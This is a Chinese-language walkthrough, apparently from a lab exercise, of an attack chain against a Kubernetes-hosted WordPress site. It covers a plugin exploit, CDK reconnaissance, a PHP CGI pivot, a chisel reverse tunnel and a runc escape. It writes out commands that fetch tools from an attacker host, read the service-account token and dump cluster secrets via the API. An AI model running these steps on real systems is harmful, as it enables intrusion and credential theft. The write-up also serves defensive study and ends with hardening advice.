容器环境下的信息收集与横向移动初探
字数 1392 2025-11-13 12:30:03

容器环境下的信息收集与横向移动技术分析

1. 初始入侵与容器识别

1.1 WordPress漏洞利用

  • 目标识别:通过指纹识别确认目标系统为WordPress
  • 漏洞扫描:发现存在漏洞的插件版本,扫描时需携带有效token
  • CVE查找:根据插件信息查找对应的CVE漏洞编号
  • 工具获取:从GitHub下载相关漏洞利用库
  • 利用成功:成功获取初始shell权限

1.2 容器环境识别

识别特征:

  • 用户名符合Kubernetes Pod命名格式
  • 环境变量中包含Kubernetes相关配置:
    • KUBERNETES_SERVICE_HOST
    • KUBERNETES_SERVICE_PORT
    • 其他Kubernetes特有的环境变量

2. 容器内信息收集与工具使用

2.1 CDK工具部署

# 在攻击机搭建Python HTTP服务
python3 -m http.server 8080

# 在容器内下载CDK工具
wget http://攻击机IP:8080/cdk_linux_amd64
chmod +x cdk_linux_amd64

2.2 信息收集结果分析

通过CDK扫描发现关键信息:

  • 发现另外两个容器IP地址:10.43.2.241、10.43.2.242
  • 10.43.2.241开放5000端口,运行可疑服务

3. 横向移动技术实现

3.1 服务探测与利用

PHP CGI漏洞利用:

<?php
// PHP脚本探测5000端口服务
$response = file_get_contents('http://10.43.2.241:5000/');
echo $response;
?>

发现关键信息:

  • 目标服务为PHP CGI
  • 保留Windows功能特性
  • 存在可利用的CVE漏洞

3.2 隧道建立与工具传输

# 在攻击机启动隧道服务
./chisel server -p 8080 --reverse

# 在容器内连接隧道
./chisel client 攻击机IP:8080 R:1080:socks

3.3 漏洞利用与权限提升

  • 使用PHP CGI相关CVE进行漏洞利用
  • 成功获取第二个容器shell权限
  • 上传CDK工具进行深度扫描

4. Kubernetes集群渗透

4.1 API Server访问

发现关键端点:

  • 存在两个返回401状态的API端点
  • 需要有效的token进行认证

4.2 Token获取与利用

# 读取Service Account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 将token存入变量
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# 使用token访问Kubernetes API
curl -k -H "Authorization: Bearer $TOKEN" https://10.43.2.1:443/api/v1/secrets

4.3 Secrets信息提取

获取的敏感数据包括:

  • 数据库凭证(root用户和业务用户)
  • WordPress管理员密码
  • 人工创建的用户级口令(用于SSH、CI/CD等)

Base64解码后的关键信息:

  1. 数据库root用户凭证
  2. 数据库业务用户凭证
  3. WordPress管理员密码
  4. SSH访问凭证
  5. 应用配置密码

5. 节点权限提升与容器逃逸

5.1 主机访问

使用获取的凭证成功登录宿主机普通用户账户

5.2 权限分析

# 下载提权枚举工具
wget http://攻击机IP:8080/linpeas.sh

# 权限检查
sudo -l

5.3 runc容器逃逸

利用条件:

  • 存在debug功能
  • 属于root账户权限
  • 使用runc容器运行时

逃逸步骤:

  1. 创建专用目录
mkdir /tmp/escape
cd /tmp/escape
  1. 创建恶意配置文件
{
    "type": "...",
    "path": "shellss"
}
  1. 创建执行文件
echo "/bin/bash" > shellss
chmod +x shellss
  1. 利用debug功能执行逃逸
  • 需要提供administrative password
  • 使用之前收集的密码进行尝试
  • 成功获取root权限

6. 技术要点总结

6.1 关键攻击路径

  1. WordPress插件漏洞 → 初始访问
  2. 容器内信息收集 → 发现内部服务
  3. PHP CGI漏洞 → 横向移动
  4. Kubernetes Token利用 → 集群权限提升
  5. runc漏洞 → 容器逃逸和root权限获取

6.2 防御建议

  • 及时更新WordPress插件
  • 限制容器权限和能力
  • 加强Service Account权限控制
  • 定期更新容器运行时
  • 实施网络策略限制横向移动

6.3 工具使用总结

  • CDK:容器环境信息收集和漏洞利用
  • Chisel:隧道建立和代理转发
  • LinPEAS:Linux权限提升枚举
  • 自定义脚本:特定环境下的漏洞利用

此攻击链展示了从Web应用漏洞到完全控制Kubernetes集群的完整过程,强调了容器环境下安全防护的多层性和复杂性。

容器环境下的信息收集与横向移动技术分析 1. 初始入侵与容器识别 1.1 WordPress漏洞利用 目标识别:通过指纹识别确认目标系统为WordPress 漏洞扫描:发现存在漏洞的插件版本,扫描时需携带有效token CVE查找:根据插件信息查找对应的CVE漏洞编号 工具获取:从GitHub下载相关漏洞利用库 利用成功:成功获取初始shell权限 1.2 容器环境识别 识别特征: 用户名符合Kubernetes Pod命名格式 环境变量中包含Kubernetes相关配置: KUBERNETES_SERVICE_HOST KUBERNETES_SERVICE_PORT 其他Kubernetes特有的环境变量 2. 容器内信息收集与工具使用 2.1 CDK工具部署 2.2 信息收集结果分析 通过CDK扫描发现关键信息: 发现另外两个容器IP地址:10.43.2.241、10.43.2.242 10.43.2.241开放5000端口,运行可疑服务 3. 横向移动技术实现 3.1 服务探测与利用 PHP CGI漏洞利用: 发现关键信息: 目标服务为PHP CGI 保留Windows功能特性 存在可利用的CVE漏洞 3.2 隧道建立与工具传输 3.3 漏洞利用与权限提升 使用PHP CGI相关CVE进行漏洞利用 成功获取第二个容器shell权限 上传CDK工具进行深度扫描 4. Kubernetes集群渗透 4.1 API Server访问 发现关键端点: 存在两个返回401状态的API端点 需要有效的token进行认证 4.2 Token获取与利用 4.3 Secrets信息提取 获取的敏感数据包括: 数据库凭证(root用户和业务用户) WordPress管理员密码 人工创建的用户级口令(用于SSH、CI/CD等) Base64解码后的关键信息: 数据库root用户凭证 数据库业务用户凭证 WordPress管理员密码 SSH访问凭证 应用配置密码 5. 节点权限提升与容器逃逸 5.1 主机访问 使用获取的凭证成功登录宿主机普通用户账户 5.2 权限分析 5.3 runc容器逃逸 利用条件: 存在debug功能 属于root账户权限 使用runc容器运行时 逃逸步骤: 创建专用目录 创建恶意配置文件 创建执行文件 利用debug功能执行逃逸 需要提供administrative password 使用之前收集的密码进行尝试 成功获取root权限 6. 技术要点总结 6.1 关键攻击路径 WordPress插件漏洞 → 初始访问 容器内信息收集 → 发现内部服务 PHP CGI漏洞 → 横向移动 Kubernetes Token利用 → 集群权限提升 runc漏洞 → 容器逃逸和root权限获取 6.2 防御建议 及时更新WordPress插件 限制容器权限和能力 加强Service Account权限控制 定期更新容器运行时 实施网络策略限制横向移动 6.3 工具使用总结 CDK :容器环境信息收集和漏洞利用 Chisel :隧道建立和代理转发 LinPEAS :Linux权限提升枚举 自定义脚本:特定环境下的漏洞利用 此攻击链展示了从Web应用漏洞到完全控制Kubernetes集群的完整过程,强调了容器环境下安全防护的多层性和复杂性。